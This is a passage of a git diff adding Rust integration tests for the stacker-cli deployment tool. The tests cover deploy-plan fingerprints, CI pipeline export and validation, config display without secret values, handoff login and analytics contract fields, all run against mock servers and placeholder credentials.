+        "Response must not contain paidOutBalance"
+    );
+    assert!(
+        analytics_response.get("payout").is_none(),
+        "Response must not contain payout"
+    );
+    assert!(
+        analytics_response.get("withdrawal").is_none(),
+        "Response must not contain withdrawal"
+    );
+    assert!(
+        analytics_response.get("balance").is_none(),
+        "Response must not contain balance"
+    );
+    assert!(
+        analytics_response.get("banking").is_none(),
+        "Response must not contain banking"
+    );
+
+    // Assert no finance fields in summary
+    let summary = &analytics_response["summary"];
+    assert!(
+        summary.get("totalEarnings").is_none(),
+        "summary must not contain totalEarnings"
+    );
+    assert!(
+        summary.get("revenue").is_none(),
+        "summary must not contain revenue"
+    );
+    assert!(
+        summary.get("earnings").is_none(),
+        "summary must not contain earnings"
+    );
+}
+
+#[test]
+fn analytics_contract_notes_prohibit_finance_fields() {
+    let contract = load_analytics_contract();
+
+    let notes = contract["_notes"]
+        .as_array()
+        .expect("_notes should be an array");
+
+    let notes_text: Vec<String> = notes
+        .iter()
+        .filter_map(|v| v.as_str().map(|s| s.to_lowercase()))
+        .collect();
+
+    // Check that at least one note mentions that Stacker analytics must not include finance fields
+    let has_finance_prohibition = notes_text.iter().any(|note| {
+        note.contains("withdrawal")
+            || note.contains("payout")
+            || note.contains("banking")
+            || note.contains("balance")
+    });
+
+    assert!(
+        has_finance_prohibition,
+        "Contract notes must document that Stacker analytics excludes finance fields"
+    );
+}
+
+#[test]
+fn analytics_contract_describes_stacker_ownership() {
+    let contract = load_analytics_contract();
+
+    let description = contract["description"]
+        .as_str()
+        .expect("description should be a string")
+        .to_lowercase();
+
+    // Assert description mentions stacker's ownership of usage metrics
+    assert!(
+        description.contains("stacker"),
+        "Description must mention Stacker"
+    );
+    assert!(
+        description.contains("usage") || description.contains("metrics"),
+        "Description must mention usage or metrics"
+    );
+}
diff --git a/tests/bdd.rs b/tests/bdd.rs
new file mode 100644
index 00000000..a2a94350
--- /dev/null
+++ b/tests/bdd.rs
@@ -0,0 +1,18 @@
+mod steps;
+
+use cucumber::World as _;
+use steps::StepWorld;
+
+#[tokio::main]
+async fn main() {
+    if !steps::ensure_shared_app_available().await {
+        eprintln!("Skipping BDD tests: failed to start test server (is PostgreSQL running?)");
+        return;
+    }
+
+    StepWorld::cucumber()
+        .max_concurrent_scenarios(1)
+        .fail_on_skipped()
+        .run_and_exit("tests/features")
+        .await;
+}
diff --git a/tests/cli_apply_plan.rs b/tests/cli_apply_plan.rs
new file mode 100644
index 00000000..30926af2
--- /dev/null
+++ b/tests/cli_apply_plan.rs
@@ -0,0 +1,362 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::Server;
+use predicates::prelude::*;
+use serde_json::json;
+use stacker::cli::credentials::StoredCredentials;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir, deployment_hash: &str) {
+    let config = format!(
+        r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+  deployment_hash: {deployment_hash}
+  environment: prod
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+    env_file: docker/prod/.env
+"#
+    );
+    fs::create_dir_all(dir.path().join("docker/prod")).expect("create docker/prod");
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+fn write_credentials(config_home: &TempDir, server_url: &str) {
+    let creds = StoredCredentials {
+        access_token: "tok".to_string(),
+        refresh_token: Some("rtok".to_string()),
+        token_type: "Bearer".to_string(),
+        expires_at: Utc::now() + Duration::hours(1),
+        email: Some("user@example.com".to_string()),
+        server_url: Some(server_url.to_string()),
+        org: None,
+        domain: None,
+    };
+
+    let cred_dir = config_home.path().join("stacker");
+    fs::create_dir_all(&cred_dir).expect("create credentials dir");
+    fs::write(
+        cred_dir.join("credentials.json"),
+        serde_json::to_vec(&creds).expect("serialize credentials"),
+    )
+    .expect("write credentials");
+}
+
+#[test]
+fn deploy_apply_plan_rejects_stale_fingerprint() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let stale = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(mockito::Matcher::AllOf(vec![
+            mockito::Matcher::UrlEncoded("operation".into(), "deploy".into()),
+            mockito::Matcher::UrlEncoded("target".into(), "cloud".into()),
+            mockito::Matcher::UrlEncoded("expectedFingerprint".into(), "stale-fingerprint".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(409)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "schemaVersion": "v1alpha1",
+                "code": "plan_stale",
+                "message": "Plan input is stale; regenerate the plan before apply",
+                "retryable": false,
+                "remediationClass": "state",
+                "context": {
+                    "expectedFingerprint": "stale-fingerprint",
+                    "actualFingerprint": "fresh-fingerprint"
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deploy", "--apply-plan", "stale-fingerprint"])
+        .assert()
+        .failure()
+        .stderr(
+            predicate::str::contains("plan_stale")
+                .and(predicate::str::contains("expectedFingerprint"))
+                .and(predicate::str::contains("fresh-fingerprint")),
+        );
+
+    stale.assert();
+}
+
+#[test]
+fn deploy_apply_plan_is_idempotent_when_plan_is_already_satisfied() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let body = json!({
+        "_status": "OK",
+        "msg": "Deployment plan fetched",
+        "item": {
+            "schemaVersion": "v1alpha1",
+            "deploymentHash": "deployment_state_online",
+            "operation": "deploy",
+            "target": "cloud",
+            "fingerprint": "plan-no-changes",
+            "scope": {
+                "mode": "deployment",
+                "selectedApps": ["device-api", "upload"]
+            },
+            "hasChanges": false,
+            "actions": [],
+            "reasoning": ["no drift detected for the selected scope"]
+        }
+    })
+    .to_string();
+
+    let mock1 = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(mockito::Matcher::AllOf(vec![
+            mockito::Matcher::UrlEncoded("operation".into(), "deploy".into()),
+            mockito::Matcher::UrlEncoded("target".into(), "cloud".into()),
+            mockito::Matcher::UrlEncoded("expectedFingerprint".into(), "plan-no-changes".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(body.clone())
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deploy", "--apply-plan", "plan-no-changes"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("Plan already satisfied"));
+
+    let mock2 = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(mockito::Matcher::AllOf(vec![
+            mockito::Matcher::UrlEncoded("operation".into(), "deploy".into()),
+            mockito::Matcher::UrlEncoded("target".into(), "cloud".into()),
+            mockito::Matcher::UrlEncoded("expectedFingerprint".into(), "plan-no-changes".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(body)
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deploy", "--apply-plan", "plan-no-changes"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("Plan already satisfied"));
+
+    mock1.assert();
+    mock2.assert();
+}
+
+#[test]
+fn agent_deploy_app_apply_plan_validates_then_executes() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let plan = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(mockito::Matcher::AllOf(vec![
+            mockito::Matcher::UrlEncoded("operation".into(), "deploy_app".into()),
+            mockito::Matcher::UrlEncoded("target".into(), "cloud".into()),
+            mockito::Matcher::UrlEncoded("appCode".into(), "upload".into()),
+            mockito::Matcher::UrlEncoded("expectedFingerprint".into(), "plan-apply-upload".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment plan fetched",
+                "item": {
+                    "schemaVersion": "v1alpha1",
+                    "deploymentHash": "deployment_state_online",
+                    "operation": "deploy_app",
+                    "target": "cloud",
+                    "fingerprint": "plan-apply-upload",
+                    "scope": {
+                        "mode": "app",
+                        "appCode": "upload",
+                        "selectedApps": ["upload"]
+                    },
+                    "hasChanges": true,
+                    "actions": [
+                        {
+                            "kind": "redeploy_app",
+                            "target": "app",
+                            "appCode": "upload",
+                            "reason": "explicit deploy-app plan targets a single app"
+                        }
+                    ],
+                    "reasoning": ["deploy-app scope is restricted to the requested app"]
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    let enqueue_check = server
+        .mock("POST", "/api/v1/agent/commands/enqueue")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "item": {
+                    "command_id": "cmd-check",
+                    "deployment_hash": "deployment_state_online",
+                    "type": "check_connections",
+                    "status": "pending",
+                    "priority": "normal",
+                    "parameters": {},
+                    "result": null,
+                    "error": null,
+                    "created_at": "2026-05-17T12:00:00Z",
+                    "updated_at": "2026-05-17T12:00:00Z"
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    let status_check = server
+        .mock("GET", "/api/v1/commands/deployment_state_online/cmd-check")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "item": {
+                    "command_id": "cmd-check",
+                    "deployment_hash": "deployment_state_online",
+                    "type": "check_connections",
+                    "status": "completed",
+                    "priority": "normal",
+                    "parameters": {},
+                    "result": {
+                        "active_connections": 0,
+                        "ports": []
+                    },
+                    "error": null,
+                    "created_at": "2026-05-17T12:00:00Z",
+                    "updated_at": "2026-05-17T12:00:01Z"
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    let enqueue_deploy = server
+        .mock("POST", "/api/v1/agent/commands/enqueue")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "item": {
+                    "command_id": "cmd-1",
+                    "deployment_hash": "deployment_state_online",
+                    "type": "deploy_app",
+                    "status": "pending",
+                    "priority": "normal",
+                    "parameters": {},
+                    "result": null,
+                    "error": null,
+                    "created_at": "2026-05-17T12:00:00Z",
+                    "updated_at": "2026-05-17T12:00:00Z"
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    let status_deploy = server
+        .mock("GET", "/api/v1/commands/deployment_state_online/cmd-1")
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "item": {
+                    "command_id": "cmd-1",
+                    "deployment_hash": "deployment_state_online",
+                    "type": "deploy_app",
+                    "status": "completed",
+                    "priority": "normal",
+                    "parameters": {},
+                    "result": {
+                        "status": "ok",
+                        "message": "upload redeployed"
+                    },
+                    "error": null,
+                    "created_at": "2026-05-17T12:00:00Z",
+                    "updated_at": "2026-05-17T12:00:03Z"
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args([
+            "agent",
+            "deploy-app",
+            "upload",
+            "--apply-plan",
+            "plan-apply-upload",
+            "--deployment",
+            "deployment_state_online",
+        ])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("cmd-1").and(predicate::str::contains("deploy_app")));
+
+    plan.assert();
+    enqueue_check.assert();
+    status_check.assert();
+    enqueue_deploy.assert();
+    status_deploy.assert();
+}
diff --git a/tests/cli_ci.rs b/tests/cli_ci.rs
new file mode 100644
index 00000000..07672e9a
--- /dev/null
+++ b/tests/cli_ci.rs
@@ -0,0 +1,179 @@
+use assert_cmd::Command;
+use predicates::prelude::*;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn setup_project(dir: &TempDir, name: &str) {
+    let config = format!(
+        r#"
+name: {name}
+version: "1.0"
+app:
+  type: static
+  path: "."
+deploy:
+  target: local
+"#
+    );
+
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+#[test]
+fn test_ci_export_bitbucket_generates_pipeline_file() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "bitbucket-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "bitbucket"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("bitbucket-pipelines.yml"));
+
+    let pipeline = fs::read_to_string(dir.path().join("bitbucket-pipelines.yml"))
+        .expect("bitbucket pipeline should be written");
+    assert!(pipeline.contains("Bitbucket Pipelines generated by Stacker for bitbucket-app"));
+    assert!(pipeline.contains("stacker deploy --target local"));
+    assert!(pipeline.contains("STACKER_TOKEN"));
+}
+
+#[test]
+fn test_ci_validate_bitbucket_succeeds_for_generated_pipeline() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "validate-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "bitbucket"])
+        .assert()
+        .success();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "validate", "--platform", "bitbucket"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("looks up-to-date"));
+}
+
+#[test]
+fn test_ci_export_bitbucket_alias_generates_pipeline_file() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "alias-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "bb"])
+        .assert()
+        .success();
+
+    assert!(dir.path().join("bitbucket-pipelines.yml").exists());
+}
+
+#[test]
+fn test_ci_validate_bitbucket_alias_succeeds_for_generated_pipeline() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "alias-validate-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "bitbucket-pipelines"])
+        .assert()
+        .success();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "validate", "--platform", "bb"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("looks up-to-date"));
+}
+
+#[test]
+fn test_ci_validate_bitbucket_fails_when_pipeline_file_missing() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "missing-pipeline-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "validate", "--platform", "bitbucket"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("Pipeline file not found"));
+}
+
+#[test]
+fn test_ci_validate_bitbucket_fails_when_pipeline_is_stale() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "fresh-app");
+    fs::write(
+        dir.path().join("bitbucket-pipelines.yml"),
+        "# Bitbucket Pipelines generated by Stacker for stale-app\npipelines:\n  branches:\n    main:\n      - step:\n          name: Deploy stale-app\n",
+    )
+    .expect("write stale pipeline");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "validate", "--platform", "bitbucket"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("out of sync"));
+}
+
+#[test]
+fn test_ci_export_jenkins_generates_pipeline_file() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "jenkins-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "jenkins"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("Jenkinsfile"));
+
+    let pipeline =
+        fs::read_to_string(dir.path().join("Jenkinsfile")).expect("Jenkinsfile should be written");
+    assert!(pipeline.contains("Jenkins Pipeline generated by Stacker for jenkins-app"));
+    assert!(pipeline.contains("stacker deploy --target local"));
+    assert!(pipeline.contains("STACKER_TOKEN"));
+}
+
+#[test]
+fn test_ci_validate_jenkins_succeeds_for_generated_pipeline() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "jenkins-validate-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "jenkins"])
+        .assert()
+        .success();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "validate", "--platform", "jenkins"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("looks up-to-date"));
+}
+
+#[test]
+fn test_ci_export_unknown_platform_lists_bitbucket_in_supported_values() {
+    let dir = TempDir::new().expect("temp dir");
+    setup_project(&dir, "unknown-platform-app");
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["ci", "export", "--platform", "unknown"])
+        .assert()
+        .failure()
+        .stderr(predicate::str::contains("bitbucket"))
+        .stderr(predicate::str::contains("jenkins"));
+}
diff --git a/tests/cli_config.rs b/tests/cli_config.rs
index 2f29ffd2..f64c2dc2 100644
--- a/tests/cli_config.rs
+++ b/tests/cli_config.rs
@@ -85,6 +85,45 @@ deploy:
         .stdout(predicate::str::contains("show-test"));
 }
 
+#[test]
+fn test_config_show_resolved_displays_paths_without_values() {
+    let dir = TempDir::new().unwrap();
+    let config = r#"
+name: resolved-test
+version: "1.0"
+env_file: docker/prod/.env
+env:
+  S3_BUCKET: superbucket
+app:
+  type: static
+  path: "."
+deploy:
+  target: server
+"#;
+    fs::write(dir.path().join("stacker.yml"), config).unwrap();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .args(["config", "show", "--resolved"])
+        .assert()
+        .success()
+        .stdout(predicate::str::contains("local_env_file: docker/prod/.env"))
+        .stdout(predicate::str::contains(
+            "remote_runtime_env_file: /home/trydirect/project/.env",
+        ))
+        .stdout(predicate::str::contains("compose_env_file: .env"))
+        .stdout(predicate::str::contains(
+            "config_hash: unavailable_until_deploy",
+        ))
+        .stdout(predicate::str::contains("runtime_env_contract_version: v1"))
+        .stdout(predicate::str::contains(
+            "runtime_env_contract_order: lowest_to_highest",
+        ))
+        .stdout(predicate::str::contains("name: base"))
+        .stdout(predicate::str::contains("name: compose"))
+        .stdout(predicate::str::contains("superbucket").not());
+}
+
 #[test]
 fn test_config_show_missing_file_returns_error() {
     let dir = TempDir::new().unwrap();
@@ -96,11 +135,11 @@ fn test_config_show_missing_file_returns_error() {
         .failure();
 }
 
-      #[test]
-      fn test_config_example_prints_full_reference() {
-          let dir = TempDir::new().unwrap();
+#[test]
+fn test_config_example_prints_full_reference() {
+    let dir = TempDir::new().unwrap();
 
-          stacker_cmd()
+    stacker_cmd()
         .current_dir(dir.path())
         .args(["config", "example"])
         .assert()
@@ -109,4 +148,4 @@ fn test_config_show_missing_file_returns_error() {
         .stdout(predicate::str::contains("monitoring:"))
         .stdout(predicate::str::contains("hooks:"))
         .stdout(predicate::str::contains("deploy:"));
-      }
+}
diff --git a/tests/cli_connect.rs b/tests/cli_connect.rs
new file mode 100644
index 00000000..965a1cd8
--- /dev/null
+++ b/tests/cli_connect.rs
@@ -0,0 +1,18 @@
+use assert_cmd::Command;
+use predicates::prelude::*;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+#[test]
+fn test_connect_help_shows_handoff_usage() {
+    stacker_cmd()
+        .args(["connect", "--help"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("connect --handoff")
+                .and(predicate::str::contains("Handoff token")),
+        );
+}
diff --git a/tests/cli_connect_account.rs b/tests/cli_connect_account.rs
new file mode 100644
index 00000000..83e567f9
--- /dev/null
+++ b/tests/cli_connect_account.rs
@@ -0,0 +1,105 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::{Matcher, Server};
+use predicates::prelude::*;
+use stacker::cli::credentials::StoredCredentials;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn create_test_jwt(exp: i64) -> String {
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+    use serde_json::json;
+
+    let header = json!({"alg": "HS256", "typ": "JWT"});
+    let payload = json!({"sub": "user-1", "email": "user@example.com", "exp": exp});
+
+    format!(
+        "{}.{}.signature",
+        URL_SAFE_NO_PAD.encode(header.to_string()),
+        URL_SAFE_NO_PAD.encode(payload.to_string())
+    )
+}
+
+#[test]
+fn connect_handoff_account_saves_credentials_without_project_hydration() {
+    let mut server = Server::new();
+    let project_dir = TempDir::new().expect("project dir");
+    let config_home = TempDir::new().expect("config home");
+    let credentials_path = config_home.path().join("stacker").join("credentials.json");
+    let jwt = create_test_jwt((Utc::now() + Duration::hours(6)).timestamp());
+
+    let mock = server
+        .mock("POST", "/api/v1/handoff/resolve")
+        .match_header(
+            "content-type",
+            Matcher::Regex("application/json.*".to_string()),
+        )
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            serde_json::json!({
+                "_status": "OK",
+                "msg": "CLI handoff resolved",
+                "item": {
+                    "kind": "account",
+                    "version": 1,
+                    "expires_at": (Utc::now() + Duration::hours(2)).to_rfc3339(),
+                    "project": {
+                        "id": 0,
+                        "name": "user@example.com",
+                        "identity": "user@example.com"
+                    },
+                    "deployment": {
+                        "id": 0,
+                        "hash": "",
+                        "target": "account",
+                        "status": "ready"
+                    },
+                    "lockfile": {},
+                    "credentials": {
+                        "access_token": jwt,
+                        "token_type": "Bearer",
+                        "expires_at": (Utc::now() + Duration::hours(6)).to_rfc3339(),
+                        "email": "user@example.com",
+                        "server_url": server.url()
+                    }
+                }
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(project_dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args([
+            "connect",
+            "--handoff",
+            &format!("{}/handoff#account-token", server.url()),
+        ])
+        .assert()
+        .success()
+        .stderr(predicate::str::contains("Signed in to Stacker CLI"));
+
+    mock.assert();
+    assert!(credentials_path.exists());
+    assert!(!project_dir.path().join("stacker.yml").exists());
+    assert!(
+        stacker::cli::deployment_lock::DeploymentLock::load(project_dir.path())
+            .expect("load deployment lock")
+            .is_none()
+    );
+
+    let saved: StoredCredentials =
+        serde_json::from_slice(&std::fs::read(credentials_path).expect("read saved credentials"))
+            .expect("deserialize saved credentials");
+    assert_eq!(saved.email.as_deref(), Some("user@example.com"));
+    assert_eq!(saved.token_type, "Bearer");
+    assert!(
+        saved.expires_at >= Utc::now() + Duration::hours(5),
+        "saved credential should keep the underlying bearer expiry"
+    );
+}
diff --git a/tests/cli_deploy.rs b/tests/cli_deploy.rs
index 322edf0a..f7de120e 100644
--- a/tests/cli_deploy.rs
+++ b/tests/cli_deploy.rs
@@ -98,7 +98,14 @@ deploy:
 
     stacker_cmd()
         .current_dir(dir.path())
-        .args(["deploy", "--target", "local", "--file", "custom.yml", "--dry-run"])
+        .args([
+            "deploy",
+            "--target",
+            "local",
+            "--file",
+            "custom.yml",
+            "--dry-run",
+        ])
         .assert()
         .success();
 }
@@ -106,6 +113,7 @@ deploy:
 #[test]
 fn test_deploy_cloud_without_credentials_fails() {
     let dir = TempDir::new().unwrap();
+    let empty_config_home = TempDir::new().unwrap();
     let config = r#"
 name: cloud-app
 version: "1.0"
@@ -124,10 +132,15 @@ deploy:
 
     stacker_cmd()
         .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", empty_config_home.path())
+        .env("HOME", empty_config_home.path())
         .args(["deploy", "--target", "cloud"])
         .assert()
         .failure()
-        .stderr(predicate::str::contains("login").or(predicate::str::contains("credential").or(predicate::str::contains("Login"))));
+        .stderr(
+            predicate::str::contains("login")
+                .or(predicate::str::contains("credential").or(predicate::str::contains("Login"))),
+        );
 }
 
 #[test]
diff --git a/tests/cli_deploy_plan.rs b/tests/cli_deploy_plan.rs
new file mode 100644
index 00000000..77755961
--- /dev/null
+++ b/tests/cli_deploy_plan.rs
@@ -0,0 +1,189 @@
+use assert_cmd::Command;
+use chrono::{Duration, Utc};
+use mockito::Server;
+use predicates::prelude::*;
+use serde_json::json;
+use stacker::cli::credentials::StoredCredentials;
+use std::fs;
+use tempfile::TempDir;
+
+fn stacker_cmd() -> Command {
+    Command::cargo_bin("stacker-cli").expect("stacker-cli binary not found")
+}
+
+fn write_stacker_config(dir: &TempDir, deployment_hash: &str) {
+    let config = format!(
+        r#"
+name: local-name
+project:
+  identity: remote-project
+app:
+  type: static
+  path: "."
+deploy:
+  target: cloud
+  deployment_hash: {deployment_hash}
+  environment: prod
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+    env_file: docker/prod/.env
+"#
+    );
+    fs::create_dir_all(dir.path().join("docker/prod")).expect("create docker/prod");
+    fs::write(dir.path().join("stacker.yml"), config).expect("write stacker.yml");
+    fs::write(dir.path().join("index.html"), "<h1>Hello</h1>").expect("write index.html");
+}
+
+fn write_credentials(config_home: &TempDir, server_url: &str) {
+    let creds = StoredCredentials {
+        access_token: "tok".to_string(),
+        refresh_token: Some("rtok".to_string()),
+        token_type: "Bearer".to_string(),
+        expires_at: Utc::now() + Duration::hours(1),
+        email: Some("user@example.com".to_string()),
+        server_url: Some(server_url.to_string()),
+        org: None,
+        domain: None,
+    };
+
+    let cred_dir = config_home.path().join("stacker");
+    fs::create_dir_all(&cred_dir).expect("create credentials dir");
+    fs::write(
+        cred_dir.join("credentials.json"),
+        serde_json::to_vec(&creds).expect("serialize credentials"),
+    )
+    .expect("write credentials");
+}
+
+#[test]
+fn deploy_plan_outputs_read_only_plan_json() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let plan = json!({
+        "schemaVersion": "v1alpha1",
+        "deploymentHash": "deployment_state_online",
+        "operation": "deploy",
+        "target": "cloud",
+        "fingerprint": "plan-no-changes",
+        "scope": {
+            "mode": "deployment",
+            "selectedApps": ["device-api", "upload"]
+        },
+        "hasChanges": false,
+        "actions": [],
+        "reasoning": ["no drift detected for the selected scope"]
+    });
+
+    let mock = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(mockito::Matcher::AllOf(vec![
+            mockito::Matcher::UrlEncoded("operation".into(), "deploy".into()),
+            mockito::Matcher::UrlEncoded("target".into(), "cloud".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment plan fetched",
+                "item": plan
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args(["deploy", "--plan"])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"schemaVersion\": \"v1alpha1\"")
+                .and(predicate::str::contains("\"operation\": \"deploy\""))
+                .and(predicate::str::contains("\"hasChanges\": false")),
+        );
+
+    mock.assert();
+}
+
+#[test]
+fn agent_deploy_app_plan_outputs_scoped_plan_json() {
+    let dir = TempDir::new().unwrap();
+    let config_home = TempDir::new().unwrap();
+    write_stacker_config(&dir, "deployment_state_online");
+
+    let mut server = Server::new();
+    write_credentials(&config_home, &server.url());
+
+    let plan = json!({
+        "schemaVersion": "v1alpha1",
+        "deploymentHash": "deployment_state_online",
+        "operation": "deploy_app",
+        "target": "cloud",
+        "fingerprint": "plan-deploy-app",
+        "scope": {
+            "mode": "app",
+            "appCode": "upload",
+            "selectedApps": ["upload"]
+        },
+        "hasChanges": true,
+        "actions": [
+            {
+                "kind": "redeploy_app",
+                "target": "app",
+                "appCode": "upload",
+                "reason": "explicit deploy-app plan targets a single app"
+            }
+        ],
+        "reasoning": ["deploy-app scope is restricted to the requested app"]
+    });
+
+    let mock = server
+        .mock("GET", "/api/v1/deployments/deployment_state_online/plan")
+        .match_query(mockito::Matcher::AllOf(vec![
+            mockito::Matcher::UrlEncoded("operation".into(), "deploy_app".into()),
+            mockito::Matcher::UrlEncoded("target".into(), "cloud".into()),
+            mockito::Matcher::UrlEncoded("appCode".into(), "upload".into()),
+        ]))
+        .match_header("authorization", "Bearer tok")
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_status": "OK",
+                "msg": "Deployment plan fetched",
+                "item": plan
+            })
+            .to_string(),
+        )
+        .create();
+
+    stacker_cmd()
+        .current_dir(dir.path())
+        .env("XDG_CONFIG_HOME", config_home.path())
+        .args([
+            "agent",
+            "deploy-app",
+            "upload",
+            "--plan",
+            "--deployment",
+            "deployment_state_online",
+        ])
+        .assert()
+        .success()
+        .stdout(
+            predicate::str::contains("\"schemaVersion\": \"v1alpha1\"")
+                .and(predicate::str::contains("\"operation\": \"deploy_app\""))
+                .and(predicate::str::contains("\"appCode\": \"upload\"")),
+        );
+
+    mock.assert();
+}
diff --git a/tests/cli_deployment_events.rs b/tests/cli_deployment_events.rs
new file mode 100644
index 00000000..bc7fda6b
--- /dev/null
